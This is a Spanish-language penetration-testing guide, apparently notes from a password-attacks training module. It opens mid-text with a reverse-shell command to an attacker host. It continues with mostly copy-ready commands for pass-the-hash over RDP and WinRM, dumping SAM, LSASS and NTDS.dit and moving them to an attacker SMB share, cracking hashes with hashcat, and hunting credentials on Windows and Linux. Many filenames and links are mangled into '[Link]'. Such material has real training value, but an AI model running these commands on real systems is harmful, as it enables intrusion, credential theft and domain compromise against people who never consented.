Vemos que al agregar un usuario php malicioso con un parámetro cmd en metasploit
funciona, como vemos en la imagen siguiente, ingresar un comando como “id” se puede
ver reflejado en el log.
Se procede a realizar el reverse Shell con un comando de bash (bash -c "bash -i >%26
/dev/tcp/IPAtacante/4321 0>%261") mediante la url

Vemos que el reverse shell funciona y obtenemos acceso a la maquina victima

Conexión RDP

Remmina, rdesktop, xfreerdp

Instalación xfreerdp

sudo apt-get install libwinpr2-2=2.3.0+dfsg1-2+deb11u1

sudo apt-get install libfreerdp2-2=2.3.0+dfsg1-2+deb11u1
sudo apt-get install freerdp2-x11
sudo apt-get update

xfreerdp /v:<target-IP> /u:<username> /p:"<password> "

xfreerdp /v:[Link] /u:user /p:"password"
xfreerdp /u:user /v:<target-IP> /pth:0E14B9D6330BF16C30B1924111104824

xfreerdp /v:<IP> /u:user /p:pass

xfreerdp /v:<IP> /u:user /p:pass /cert-ignore
xfreerdp /v:<IP> /u:user /p:pass /timeout:60000
xfreerdp /v:<IP> /u:user /p:pass /d:dominio /cert-ignore
 Mutaciones de contraseña (HASHCAT)

A continuación, una tabla con la contraseña “Password” donde podemos apreciar sus
mutaciones.

Descripción Sintaxis de contraseña

La primera letra es mayúscula. Password
Sumar números. Password123
Añadiendo año. Password2022
Agregando mes. Password02
Último carácter es una de exclamación. Password2022!
Añadiendo caracteres especiales. P@ssw0rd2022!

Ahora hagamos una mutación de contraseña con hashcat

Creamos una lista de contraseñas, para el ejemplo creamos el archivo de contraseñas con
una sola, la cual será “password”

Podemos utilizar una herramienta muy poderosa llamada Hashcat para combinar listas de
nombres y etiquetas potenciales con reglas de mutación específicas para crear listas de
palabras personalizadas. Para familiarizarse más con Hashcat y descubrir todo el potencial
de esta herramienta, le recomendamos el módulo Cracking Passwords with Hashcat.
Hashcat utiliza una sintaxis específica para definir caracteres y palabras y cómo se pueden
modificar. La lista completa de esta sintaxis se puede encontrar en la documentación oficial
de Hashcat. Sin embargo, los que se enumeran a continuación son suficientes para que
entendamos cómo Hashcat muta las palabras.

Función Descripción
: Hacer nada.
l Minúscula todas las letras.
u Mayúsculas todas las letras.
c Ponga en mayúscula la primera letra y las
demás en minúscula.
sXY Reemplace todas las instancias de X con Y.
$! Añade el carácter de exclamación al final.
Cada regla está escrita en una nueva línea que determina cómo se debe mutar la palabra.
Si escribimos las funciones mostradas arriba en un archivo y consideramos los aspectos
mencionados, este archivo puede verse así: (Creamos un archivo [Link] y agregamos
lo siguiente)

[Link] (Archivo pequeño)

[Link] (Archivo grande)

Hashcat aplicará las reglas [Link] para cada palabra [Link] y almacenará la
versión mutada en nuestro mut_password.list en consecuencia. Por tanto, una palabra dará
como resultado quince palabras mutadas en este caso.

hashcat --force [Link] -r [Link] --stdout | sort -u > mut_password.list

cat mut_password.list

Veremos que el resultado es algo como lo siguiente

listas de reglas prediseñadas que podemos usar para generar y descifrar contraseñas. Una
de las reglas más utilizadas es [Link], que muchas veces puede conducir a buenos
resultados. Es importante tener en cuenta que descifrar contraseñas y crear listas de
palabras personalizadas es un juego de adivinanzas en la mayoría de los casos.

ls /usr/share/hashcat/rules/

CEWL

Ahora podemos utilizar otra herramienta llamada CeWL para escanear palabras
potenciales del sitio web de la empresa y guardarlas en una lista separada. Luego podemos
combinar esta lista con las reglas deseadas y crear una lista de contraseñas personalizada
que tenga una mayor probabilidad de adivinar la contraseña correcta. Especificamos
algunos parámetros, como la profundidad de la araña (-d), la longitud mínima de la
palabra (-m), el almacenamiento de las palabras encontradas en minúsculas (--lowercase),
así como el archivo donde queremos almacenar los resultados (-w).

cewl [Link] -d 4 -m 6 --lowercase -w [Link]

cewl [Link] -d 4 -m 6 -w [Link] -v
wc -l [Link]
cewl -m 5 -w [Link] -v -d 2 [Link] | tee [Link]

username:password

hydra -C <user_pass.list> <protocol>://<IP>

hydra -C user_pass.list ssh://[Link]
 Atacando SAM

Con acceso a un sistema Windows sin dominio, podemos beneficiarnos al intentar volcar
rápidamente los archivos asociados con la base de datos SAM para transferirlos a nuestro
host de ataque y comenzar a descifrar hashes sin conexión. Hacer esto sin conexión
garantizará que podamos continuar intentando nuestros ataques sin mantener una sesión
activa con un objetivo.

Copiar colmenas del registro SAM

Hay tres colmenas de registro que podemos copiar si tenemos acceso de administrador
local en el destino; cada uno tendrá un propósito específico cuando lleguemos a desechar
y descifrar los hashes. Aquí hay una breve descripción de cada uno en la siguiente tabla:

Colmena de registro Descripción

hklm\sam Contiene los hashes asociados con las
contraseñas de las cuentas locales.
Necesitaremos los hashes para poder
descifrarlos y obtener las contraseñas de las
cuentas de usuario en texto sin cifrar.
hklm\system Contiene la clave de arranque del sistema,
que se utiliza para cifrar la base de datos
SAM. Necesitaremos la clave de arranque
para descifrar la base de datos SAM.
hklm\security Contiene credenciales almacenadas en
caché para cuentas de dominio. Podemos
beneficiarnos de tener esto en un destino
de Windows unido a un dominio.

Podemos crear copias de seguridad de estas colmenas usando la utilidad [Link].

Iniciar CMD como administrador nos permitirá ejecutar [Link] para guardar copias de las
colmenas de registro antes mencionadas. Ejecute estos comandos a continuación para
hacerlo:

[Link] está incluida en Windows dentro de c:\Windows\System32>

[Link] save hklm\sam C:\[Link]

[Link] save hklm\system C:\[Link]
[Link] save hklm\security C:\[Link]

[Link]: (Servidor SMB) para pasar archivos entre Linux y Windows.

impacket/examples/[Link] Ruta de ubicación

cp impacket/examples/[Link] copiarlo en el directorio actual
python3 impacket/examples/[Link] a . creamos un recurso o carpeta compartida con el
nombre (a)
python3 impacket/examples/[Link] a . -smb2suppor
python3 impacket/examples/[Link] -smb2support a /home/botache/programas/
Mover copias de SAM para compartir de Windows a Linux mediante el archivo compartido
(a) anteriormente

Abrimos CMD como Administrador

C:\> move [Link] \\IP-Atacante\a

C:\> move [Link] \\IP-Atacante\a
C:\> move [Link] \\IP-Atacante\a

Dumping de hashes con [Link] de Impacket

Ruta

impacket/examples/[Link]

Ejecución

Nos aprovechamos de obtener [Link], [Link] y [Link] para hacer un

dumpeo de hashes

python3 impacket/examples/[Link] -sam [Link] -security [Link] -

system [Link] LOCAL

Cracking Hashes con Hashcat

Una vez que tengamos los hashes, podemos comenzar a intentar descifrarlos usando
Hashcat.

nano [Link]

Copiamos los números después de los dos puntos (:) y estos son los que ingresamos dentro
de [Link] – ejemplo (41d6cfe0d16ee931b73c59d7e0c089c0) HASH: NTLM

Wiki de códigos Hash-Mode Hash-Name que necesitaremos para identificar el tipo de hash
a crackear.

[Link]
Ejemplo de comando a ejecutar

hashcat -m 1000 [Link] /usr/share/wordlists/[Link]

Podemos ver en el resultado que Hashcat utilizó un tipo de ataque llamado ataque de
diccionario para adivinar rápidamente las contraseñas utilizando una lista de contraseñas
conocidas ([Link]) y logró descifrar 3 de los hashes.

Consideraciones sobre el volcado remoto y los secretos de LSA

Comando de crackmapexec

crackmapexec smb IP-Victima --local-auth -u pepito -p PASSWD! --lsa

crackmapexec smb IP-Victima --local-auth -u pepito -p PASSWD! --sam
 Atacando a LSASS

Además de obtener copias de la base de datos SAM para volcar y descifrar hashes,
también nos beneficiaremos al apuntar a LSASS. LSASS es un servicio crítico que desempeña
un papel central en la gestión de credenciales y los procesos de autenticación en todos los
sistemas operativos Windows.

Encontrar LSASS PID en cmd

tasklist /svc

Encontrar LSASS PID en PowerShell

Get-Process lsass

Creando [Link] usando PowerShell

.\[Link] -ma 672 C:\Users\[TuNombreDeUsuario]\Desktop\[Link]

Descargar procdump: [Link]
Enlace directo: [Link]
Comando PowerShell para descargar ProcDump:

Invoke-WebRequest -Uri "[Link] -OutFile

"[Link]"

Si encuentras algún problema relacionado con la política de ejecución de scripts de

PowerShell, puedes ajustar la política temporalmente para permitir la ejecución de scripts:

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force

Ejecutando Pypykatz (LSASS)

El comando inicia el uso de Pypykatz para analizar los secretos ocultos en el volcado de
memoria del proceso LSASS.

Instalación y ejecución de Pypykatz (Ejecutar en Linux luego de conseguir el [Link])

pip install pypykatz

pip install pypykatz --break-system-packages
pypykatz lsa minidump [Link]

Comando para enviar archivos de Windows a Linux (luego de poner el Linux a la escucha
con python3 impacket/examples/[Link] a . -smb2support)

Copy-Item -Path ".\[Link]" -Destination "\\IP-Atacante\a\[Link]"

Del comando pypykatz lsa minidump [Link] obtendremos lo siguiente

MSV es un paquete de autenticación en Windows al que LSA recurre para validar los
intentos de inicio de sesión en la base de datos SAM. Pypykatz extrajo los hashes SID,
Username, Domain e incluso NT & contraseña SHA1 asociados con la sesión de inicio de
sesión de la cuenta de usuario bob almacenada en la memoria del proceso LSASS.

WDIGEST

WDIGEST es un protocolo de autenticación más antiguo habilitado de forma

predeterminada en Windows XP - Windows 8 y Windows Server 2003 - Windows Server 2012.
LSASS almacena en caché las credenciales utilizadas por WDIGEST en texto sin cifrar. Esto
significa que, si nos encontramos apuntando a un sistema Windows con WDIGEST habilitado,
lo más probable es que veamos una contraseña en texto sin cifrar. Los sistemas operativos
Windows modernos tienen WDIGEST desactivado de forma predeterminada. Además, es
fundamental tener en cuenta que Microsoft lanzó una actualización de seguridad para los
sistemas afectados por este problema con WDIGEST. Podemos estudiar los detalles de esa
actualización de seguridad aquí.
Kerberos

Kerberos es un protocolo de autenticación de red utilizado por Active Directory en entornos

de dominio de Windows. Las cuentas de usuario del dominio reciben tickets tras la
autenticación con Active Directory. Este ticket se utiliza para permitir que el usuario acceda
a recursos compartidos en la red a la que se le ha otorgado acceso sin necesidad de
escribir sus credenciales cada vez. LSASS caches passwords, ekeys, tickets y pins asociado
con Kerberos. Es posible extraerlos de la memoria del proceso LSASS y utilizarlos para
acceder a otros sistemas unidos al mismo dominio.

DPAPI

La interfaz de programación de aplicaciones de protección de datos o DPAPI es un

conjunto de API en los sistemas operativos Windows que se utilizan para cifrar y descifrar
blobs de datos DPAPI por usuario para las funciones del sistema operativo Windows y varias
aplicaciones de terceros. Estos son solo algunos ejemplos de aplicaciones que usan DPAPI
y para qué lo usan:

Aplicaciones Uso de DPAPI

Internet Explorer Datos de autocompletado del formulario
de contraseña (nombre de usuario y
contraseña para sitios guardados).
Google Chrome Datos de autocompletado del formulario
de contraseña (nombre de usuario y
contraseña para sitios guardados).
Outlook Contraseñas para cuentas de correo
electrónico.
Remote Desktop Connection Credenciales guardadas para conexiones
a máquinas remotas.
Credential Manager Credenciales guardadas para acceder a
recursos compartidos, unirse a redes
inalámbricas, VPN y más.
Mimikatz y Pypykatz pueden extraer el DPAPI masterkey del usuario que inició sesión cuyos
datos están presentes en la memoria del proceso LSASS. Esta clave maestra luego se puede
usar para descifrar los secretos asociados con cada una de las aplicaciones usando DPAPI
y dar como resultado la captura de credenciales para varias cuentas. Las técnicas de
ataque DPAPI se tratan con mayor detalle en el módulo Escalada de privilegios de
Windows.

Descifrando el NT Hash con Hashcat

Ahora podemos usar Hashcat para descifrar NT Hash. En este ejemplo, solo encontramos un
hash NT asociado con el usuario Bob.

En lugar de un solo hash, también podríamos pasar un archivo .txt con varios hashes.

hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b [Link] NT Hash

hashcat -m 100 b2978f9abc2f356e45cb66ec39510b1ccca08a0e [Link] SHA1
 Atacar Active Directory y [Link]

Active Directory (AD) es un servicio de directorio común y crítico en las redes empresariales
modernas. AD es algo que encontraremos repetidamente, por lo que debemos estar
familiarizados con varios métodos que podemos usar para atacar y defender estos entornos
AD. Es seguro concluir que, si la organización usa Windows, entonces se usa AD para
administrar esos sistemas Windows. Atacar AD es un tema tan extenso y significativo que
tenemos varios módulos que cubren AD.

Ataques de diccionario contra cuentas AD usando CrackMapExec

Muchas organizaciones siguen una convención de nomenclatura al crear nombres de

usuarios de empleados. Aquí hay algunas convenciones comunes a considerar:

primernombreinicialapellido
Primeroinicialsegundoinicialapellido
Nombreapellido
[Link]
[Link]
nikname

dirección de correo electrónico jdoe@[Link]

Un consejo de MrB3n: a menudo podemos encontrar la estructura del correo electrónico

buscando en Google el nombre de dominio, es decir, "@[Link]" y obtener
algunos correos electrónicos válidos. A partir de ahí, podemos utilizar un script para extraer
varios sitios de redes sociales y combinar posibles nombres de usuario válidos.

Crear una lista personalizada de nombres de usuario (combinar nombres)

Digamos que hemos investigado y recopilado una lista de nombres basada en información
disponible públicamente. Mantendremos la lista relativamente corta para esta lección
porque las organizaciones pueden tener una gran cantidad de empleados. Lista de
ejemplo de nombres:

• Ben Williamson
• Bob Burgerstien
• Jim Stevenson
• Jill Johnson
• Jane Doe

Podemos crear una lista personalizada en nuestro host de ataque usando los nombres
anteriores. Podemos usar un editor de texto basado en línea de comandos como Vim, nano
o un editor de texto gráfico para crear nuestra lista. Nuestra lista puede verse así:
Por supuesto, esto es solo un ejemplo y no incluye todos los nombres, pero observe cómo
podemos incluir una convención de nomenclatura diferente para cada nombre si aún no
conocemos la convención de nomenclatura utilizada por la organización de destino.

Podemos crear manualmente nuestra(s) lista(s) o utilizar una automated list generator
herramienta basada en Ruby Username Anarchy para convertir una lista de nombres reales
en formatos de nombre de usuario comunes. Una vez que la herramienta se haya clonado
en nuestro host de ataque local usando Git, podemos ejecutarla con una lista de nombres
reales como se muestra en el siguiente ejemplo:

./username-anarchy -i /home/ltnbob/[Link]
Lanzando el ataque con CrackMapExec (SMB)

Una vez que tengamos nuestra lista preparada o descubramos la convención de

nomenclatura y algunos nombres de empleados, podemos lanzar nuestro ataque contra el
controlador de dominio objetivo utilizando una herramienta como CrackMapExec.
Podemos usarlo junto con el protocolo SMB para enviar solicitudes de inicio de sesión al
controlador de dominio de destino. Aquí está el comando para hacerlo:

crackmapexec smb [Link] -u bwilliamson -p /usr/share/wordlists/[Link]

Si los administradores configuraron una política de bloqueo de cuenta, este ataque podría
bloquear la cuenta a la que nos dirigimos.

Capturando [Link]

NT Directory Services (NTDS) es el servicio de directorio utilizado con AD para buscar y

organizar recursos de red. Recuerde que el archivo [Link] se almacena en
%systemroot%/ntds los controladores de dominio en un bosque. Significa árbol .dit de
información de directorio . Este es el archivo de base de datos principal asociado con AD
y almacena todos los nombres de usuario del dominio, hashes de contraseñas y otra
información crítica del esquema. Si se puede capturar este archivo, podríamos
comprometer todas las cuentas del dominio de forma similar a la técnica que cubrimos en
la sección Attacking SAM de este módulo.

Conexión a un DC con Evil-WinRM

Podemos conectarnos a un DC de destino utilizando las credenciales que capturamos.

evil-winrm -i [Link] -u bwilliamson -p 'P@55w0rd!'

Comprobar la membresía del grupo local

Una vez conectados, podemos comprobar qué privilegios tiene bwilliamson. Podemos
comenzar mirando la membresía del grupo local usando el comando:

net localgroup
Estamos mirando para ver si la cuenta tiene derechos de administrador local. Para hacer
una copia del archivo [Link], necesitamos derechos de administrador local
(Administrators group) o administrador de dominio (Domain Admins group) (o equivalente).
También querremos comprobar qué privilegios de dominio tenemos.

Comprobación de los privilegios de la cuenta de usuario, incluido el dominio

net user bwilliamson

Creando una instantánea de C:

Podemos usar vssadmin para crear una instantánea de volumen (VSS) de la unidad C: o
cualquier volumen que el administrador eligió al instalar AD inicialmente. Es muy probable
que NTDS se almacene en C: ya que esa es la ubicación predeterminada seleccionada
durante la instalación, pero es posible cambiar la ubicación. Usamos VSS para esto porque
está diseñado para hacer copias de volúmenes que se pueden leer y escribir activamente
sin necesidad de desactivar una aplicación o sistema en particular. VSS es utilizado por
muchos programas diferentes de respaldo y recuperación ante desastres para realizar
operaciones.

vssadmin CREATE SHADOW /For=C:

Copiando [Link] desde VSS

Luego podemos copiar el archivo [Link] de la instantánea del volumen de C: a otra

ubicación en la unidad para prepararnos para mover [Link] a nuestro host de ataque.

[Link] /c copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\[Link]
c:\NTDS\[Link]

Antes de copiar [Link] a nuestro host de ataque, es posible que deseemos utilizar la
técnica que aprendimos anteriormente para crear un recurso compartido SMB en nuestro
host de ataque. ([Link])
Transferencia de [Link] al host de ataque

Ahora [Link] /c move se puede utilizar para mover el archivo desde el DC de destino al
recurso compartido en nuestro host de ataque.

*Evil-WinRM* PS C:\NTDS> [Link] /c move C:\NTDS\[Link] \\IP-Atacante\a

Un método más rápido: usar cme (Crackmapexec) para capturar [Link]

Alternativamente, podemos beneficiarnos del uso de CrackMapExec para realizar los

mismos pasos que se muestran arriba, todo con un solo comando. Este comando nos
permite utilizar VSS para capturar y volcar rápidamente el contenido del archivo [Link]
cómodamente dentro de nuestra sesión de terminal.

crackmapexec smb IP-Victima-DC -u bwilliamson -p P@55w0rd! --ntds

Descifrando hashes y obteniendo credenciales

Podemos continuar con la creación de un archivo de texto que contenga todos los hashes
NT, o podemos copiar y pegar individualmente un hash específico en una sesión de terminal
y usar Hashcat para intentar descifrar el hash y una contraseña en texto sin cifrar.

Descifrar un único hash con Hashcat

sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b [Link]

¿Qué pasa si no logramos descifrar un hash?

Consideraciones sobre Pass-the-Hash

Consideraciones sobre pasar el hash

Todavía podemos usar hashes para intentar autenticarnos en un sistema mediante un tipo
de ataque llamado Pass-the-Hash (PtH). Un ataque PtH aprovecha el protocolo de
autenticación NTLM para autenticar a un usuario mediante un hash de contraseña. En
lugar de username: clear-text Password como formato para iniciar sesión, podemos usar
username: password hash. A continuación, se muestra un ejemplo de cómo funcionaría
esto:

Ejemplo de Pass-the-Hash con Evil-WinRM

evil-winrm -i [Link] -u Administrator -H "64f12cddaa88057e06a81b54e73b949b"

También podríamos usar Crackmapexec para hacer Pass-the-Hash

Diccionario de ataque [Link]

[Link]

Búsqueda de credenciales en Windows

Una vez que tengamos acceso a una máquina Windows de destino a través de la GUI o
CLI, podemos beneficiarnos significativamente al incorporar la búsqueda de credenciales
en nuestro enfoque. Credential Huntinges el proceso de realizar búsquedas detalladas en
todo el sistema de archivos y en varias aplicaciones para descubrir credenciales.

Términos clave para buscar

Ya sea que terminemos con acceso a la GUI o CLI, sabemos que tendremos algunas
herramientas para usar en la búsqueda, pero de igual importancia es qué estamos
buscando exactamente. A continuación, se muestran algunos términos clave útiles que
podemos utilizar y que pueden ayudarnos a descubrir algunas credenciales:

Passwords Passphrases Keys

Username User account Creds
Users Passkeys Passphrases
configuration dbcredential dbpassword
pwd Login Credentials
Herramientas de búsqueda – búsqueda de credenciales o contraseñas

Con acceso a la GUI, vale la pena intentar usarla Windows Search para buscar archivos en
el destino usando algunas de las palabras clave mencionadas anteriormente.

De forma predeterminada, buscará en varias configuraciones del sistema operativo y en el

sistema de archivos, archivos y aplicaciones que contengan el término clave ingresado en
la barra de búsqueda.

También podemos aprovechar herramientas de terceros como Lazagne para descubrir

rápidamente credenciales que los navegadores web u otras aplicaciones instaladas
pueden almacenar de forma insegura. Sería beneficioso mantener una copia
independiente de Lazagne en nuestro host de ataque para que podamos transferirla
rápidamente al objetivo. [Link] nos irá bien en este escenario. Podemos usar nuestro
cliente RDP para copiar el archivo al objetivo desde nuestro host de ataque. Si estamos
utilizando xfreerdp lo único que debemos hacer es copiar y pegar en la sesión RDP que
hayamos establecido.

Una vez que [Link] esté en el objetivo, podemos abrir el símbolo del sistema o
PowerShell, navegar hasta el directorio en el que se cargó el archivo y ejecutar el siguiente
comando:

Ejecutando Lazagne all

start [Link] all

start [Link] all -vv
Si usáramos la -vv opción, veríamos intentos de recopilar contraseñas de todo el software
compatible con Lazagne. También podemos buscar en la página de GitHub en la sección
de software compatible para ver todo el software del que Lazagne intentará recopilar
credenciales. Puede resultar un poco impactante ver lo fácil que puede ser obtener
credenciales en texto claro. Gran parte de esto puede atribuirse a la forma insegura en que
muchas aplicaciones almacenan las credenciales.

Usando findtr (Escaneo de archivos en windows)

También podemos usar findtr para buscar patrones en muchos tipos de archivos. Teniendo
en cuenta los términos clave comunes, podemos usar variaciones de este comando para
descubrir credenciales en un destino de Windows:

findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

Aquí hay algunos otros lugares que debemos tener en cuenta al buscar credenciales:

• Contraseñas en la política de grupo en el recurso compartido SYSVOL

• Contraseñas en scripts en el recurso compartido SYSVOL
• Contraseña en scripts en recursos compartidos de TI
• Contraseñas en archivos [Link] en máquinas de desarrollo y recursos
compartidos de TI
• [Link]
• Contraseñas en los campos de descripción de usuario o computadora de AD
• Bases de datos KeePass -> extraiga hash, crackee y obtenga mucho acceso.
• Encontrado en sistemas de usuarios y recursos compartidos.
• Archivos como [Link], contraseñ[Link], contraseñ[Link] se encuentran en
sistemas de usuario, recursos compartidos, Sharepoint
 Búsqueda de credenciales en Linux

La búsqueda de credenciales es uno de los primeros pasos una vez que tenemos acceso al
sistema. Estas frutas al alcance de la mano pueden otorgarnos privilegios elevados en
cuestión de segundos o minutos.

Files History Memory Key-Rings

Configuraciones Registros Cache Credenciales
almacenadas en el
navegador
Bases de datos Historial de línea de Procesamiento en
comandos memoria
Notas
scripts
Códigos fuente
cronjobs
Claves SSH

Archivos

La parte más crucial de cualquier enumeración de un sistema es obtener una descripción

general del mismo. Por tanto, el primer paso debería ser encontrar todos los archivos de
configuración posibles en el sistema.

for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l
2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

También podemos buscar directamente las credenciales en los archivos

(Encontrar credenciales en linux)

En este ejemplo, buscamos tres palabras (user, password, pass) en cada archivo con la
extensión de archivo .cnf.

for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep
"user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
Bases de datos (Buscar DBs)

Con el siguiente comando se buscarán bases de datos de forma automatizada.

for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l
2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done

Buscar credenciales en las NOTAS

find /home/* -type f -name "*.txt" -o ! -name "*.*"

Scripts (Buscando credenciales)

Los scripts son archivos que a menudo contienen información y procesos muy
confidenciales. Estos también contienen, entre otras cosas, las credenciales necesarias
para poder llamar y ejecutar los procesos automáticamente. De lo contrario, el
administrador o desarrollador tendría que introducir la contraseña correspondiente cada
vez que se llame al script o al programa compilado.

for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l
2>/dev/null | grep -v "doc\|lib\|headers\|share";done

Cronjobs

Los cronjobs son ejecución independiente de comandos, programas y scripts. Estos se

dividen en el área de todo el sistema (/etc/crontab) y ejecuciones dependientes del
usuario. Algunas aplicaciones y scripts requieren credenciales para ejecutarse y, por lo
tanto, se ingresan incorrectamente en los cronjobs. Además, están las zonas que se dividen
en diferentes rangos horarios (/etc/[Link], /etc/[Link], /etc/[Link],
/etc/[Link]). Los scripts y archivos utilizados cron también se pueden encontrar en
/etc/cron.d/distribuciones basadas en Debian.

cat /etc/crontab
También podemos usar el siguiente comando:

ls -la /etc/cron.*/

Buscar Claves SSH

Comando para buscar claves ssh privadas en linux.

grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"

Claves públicas SSH

grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"

History

Todos los archivos históricos proporcionan información crucial sobre el curso actual y
pasado/histórico de los procesos. Estamos interesados en los archivos que almacenan el
historial de comandos de los usuarios y los registros que almacenan información sobre los
procesos del sistema.

En el historial de los comandos introducidos en las distribuciones Linux que utilizan Bash como
shell estándar encontramos los archivos asociados en formato .bash_history. Sin embargo,
otros archivos gustan .bashrc o .bash_profile pueden contener información importante.

tail -n5 /home/*/.bash*

Podremos ver la ruta del history completa y posteriormente ingresar a ver el archivo History
Registros (LOGS)

Un concepto esencial de los sistemas Linux son los archivos de registro que se almacenan
en archivos de texto. Muchos programas, especialmente todos los servicios y el propio
sistema, escriben este tipo de archivos. En ellos encontramos errores del sistema,
detectamos problemas relacionados con los servicios o seguimos lo que hace el sistema en
segundo plano. La totalidad de los archivos de registro se pueden dividir en cuatro
categorías:

Registros de Registros de eventos Registros de servicio Registros del sistema

aplicaciones

Existen muchos registros diferentes en el sistema. Estos pueden variar dependiendo de las
aplicaciones instaladas, pero estas son algunas de las más importantes:

Archivo de registro Descripción

/var/log/messages Registros genéricos de actividad del
sistema.
/var/log/syslog Registros genéricos de actividad del
sistema.
/var/log/[Link] (Debian) Todos los registros relacionados
con la autenticación.
/var/log/secure (RedHat/CentOS) Todos los registros
relacionados con la autenticación.
/var/log/[Link] Información de arranque.
/var/log/dmesg Información y registros relacionados con
hardware y controladores.
/var/log/[Link] Advertencias, errores y registros
relacionados con el kernel.
/var/log/faillog Intentos fallidos de inicio de sesión.
/var/log/cron Información relacionada con trabajos
cron.
/var/log/[Link] Todos los registros relacionados con el
servidor de correo.
/var/log/httpd Todos los registros relacionados con
Apache.
/var/log/[Link] Todos los registros relacionados con el
servidor MySQL.

Cubrir el análisis de estos archivos de registro en detalle sería ineficiente en este caso.
Entonces, en este punto, debemos familiarizarnos con los registros individuales, primero
examinándolos manualmente y entendiendo sus formatos. Sin embargo, aquí hay algunas
cadenas que podemos usar para encontrar contenido interesante en los registros:

for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session

closed\|failure\|failed\|ssh\|password changed\|new user\|delete
user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n####
Log file: " $i; grep "accepted\|session opened\|session
closed\|failure\|failed\|ssh\|password changed\|new user\|delete
user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
Memoria y caché

Muchas aplicaciones y procesos funcionan con las credenciales necesarias para la

autenticación y las almacenan en la memoria o en archivos para poder reutilizarlas. Por
ejemplo, pueden ser las credenciales requeridas por el sistema para los usuarios que
iniciaron sesión. Otro ejemplo son las credenciales almacenadas en los navegadores, que
también se pueden leer. Para poder recuperar este tipo de información de las distribuciones
Linux existe una herramienta llamada mimipenguin que facilita todo el proceso. Sin
embargo, esta herramienta requiere permisos de administrador/root.

Una herramienta aún más poderosa que podemos usar y que se mencionó anteriormente
en la sección Búsqueda de credenciales en Windows es LaZagne. Esta herramienta nos
permite acceder a muchos más recursos y extraer las credenciales. Las contraseñas y
hashes que podemos obtener provienen de las siguientes fuentes, pero no se limitan a:

Wi-Fi Wpa_supplicant libsecret Kwallet

A base de cromo CLI Mozilla pájaro trueno
git variable_entorno Comida Fstab
AWS filezilla Gftp SSH
apache Sombra Estibador KeePass
mimipy Sesiones Llaveros

Por ejemplo, Keyrings se utilizan para el almacenamiento seguro y la gestión de contraseñas

en distribuciones de Linux. Las contraseñas se almacenan cifradas y protegidas con una
contraseña maestra. Es un administrador de contraseñas basado en sistema operativo, que
analizaremos más adelante en otra sección. De esta manera, no necesitamos recordar
todas las contraseñas y podemos guardar entradas de contraseña repetidas.
Navegadores

Los navegadores almacenan las contraseñas guardadas por el usuario de forma cifrada
localmente en el sistema para su reutilización. Por ejemplo, el navegador Mozilla Firefox
almacena las credenciales cifradas en una carpeta oculta para el usuario respectivo. Estos
suelen incluir los nombres de los campos asociados, las URL y otra información valiosa.

Por ejemplo, cuando almacenamos las credenciales de una página web en el navegador
Firefox, se cifran y se almacenan en el sistema [Link]. Sin embargo, esto no significa que
estén seguros allí. Muchos empleados almacenan dichos datos de inicio de sesión en su
navegador sin sospechar que pueden ser descifrados fácilmente y utilizados contra la
empresa.

ls -l .mozilla/firefox/ | grep default

cat .mozilla/firefox/[Link]-release/[Link] | jq .
La herramienta Firefox Decrypt es excelente para descifrar estas credenciales y se actualiza
periódicamente. Requiere Python 3.9 para ejecutar la última versión. De lo contrario, se
debe utilizar Python 2 para Firefox Decrypt 0.7.0.

Descifrando credenciales de Firefox

python3.9 firefox_decrypt.py
Alternativamente, LaZagne también puede devolver resultados si el usuario ha utilizado el
navegador compatible.

python3 [Link] browsers

Uso de CSP para enviar archivos desde el atacante a la victima

scp programa user@IP-Victima:programa

scp [Link] usuario@[Link]:[Link]

Passwd, Shadow & Opasswd

Por lo general, encontramos el valor en x este campo, lo que significa que las contraseñas
se almacenan de forma cifrada en el archivo /etc/shadow. Sin embargo, también puede
ser que el archivo /etc/passwd se pueda escribir por error. Esto nos permitiría borrar este
campo para el usuario root de modo que el campo de información de contraseña esté
vacío. Esto hará que el sistema no envíe una solicitud de contraseña cuando un usuario
intente iniciar sesión como root.
 head -n 1 /etc/passwd
su

Archivo de sombra (/etc/shadow)

Dado que la lectura de los valores hash de las contraseñas puede poner en peligro todo el
sistema /etc/shadow, se desarrolló un archivo que tiene un formato similar /etc/passwd,
pero solo es responsable de las contraseñas y su gestión. Contiene toda la información de
contraseña de los usuarios creados. Por ejemplo, si no hay ninguna entrada en el archivo
/etc/shadow para un usuario en /etc/passwd, el usuario se considera no válido. Además, el
archivo /etc/shadow solo lo pueden leer los usuarios que tienen derechos de administrador.
El formato de este archivo se divide en nine fields:
 sudo cat /etc/shadow

Tipos de algoritmos

• $1$– MD5
• $2a$– Blowfish
• $2y$– Eksblowfish
• $5$-SHA-256
• $6$-SHA-512

Contraseña

La biblioteca PAM (pam_unix.so) puede evitar la reutilización de contraseñas antiguas. El

archivo donde se almacenan las contraseñas antiguas es el /etc/security/opasswd.
También se requieren permisos de administrador/root para leer el archivo si los permisos
para este archivo no se han cambiado manualmente.

Leyendo /etc/security/opasswd

sudo cat /etc/security/opasswd

Si observamos el contenido de este archivo, podemos ver que contiene varias entradas
para el usuario cry0l1t3, separadas por una coma (,). Otro punto crítico al que hay que
prestar atención es el tipo de hash que se ha utilizado. Esto se debe a que el algoritmo
MD5($1$) es mucho más fácil de descifrar que SHA-512. Esto es especialmente importante
para identificar contraseñas antiguas y tal vez incluso su patrón, porque a menudo se utilizan
en varios servicios o aplicaciones. Aumentamos muchas veces la probabilidad de adivinar
la contraseña correcta según su patrón.

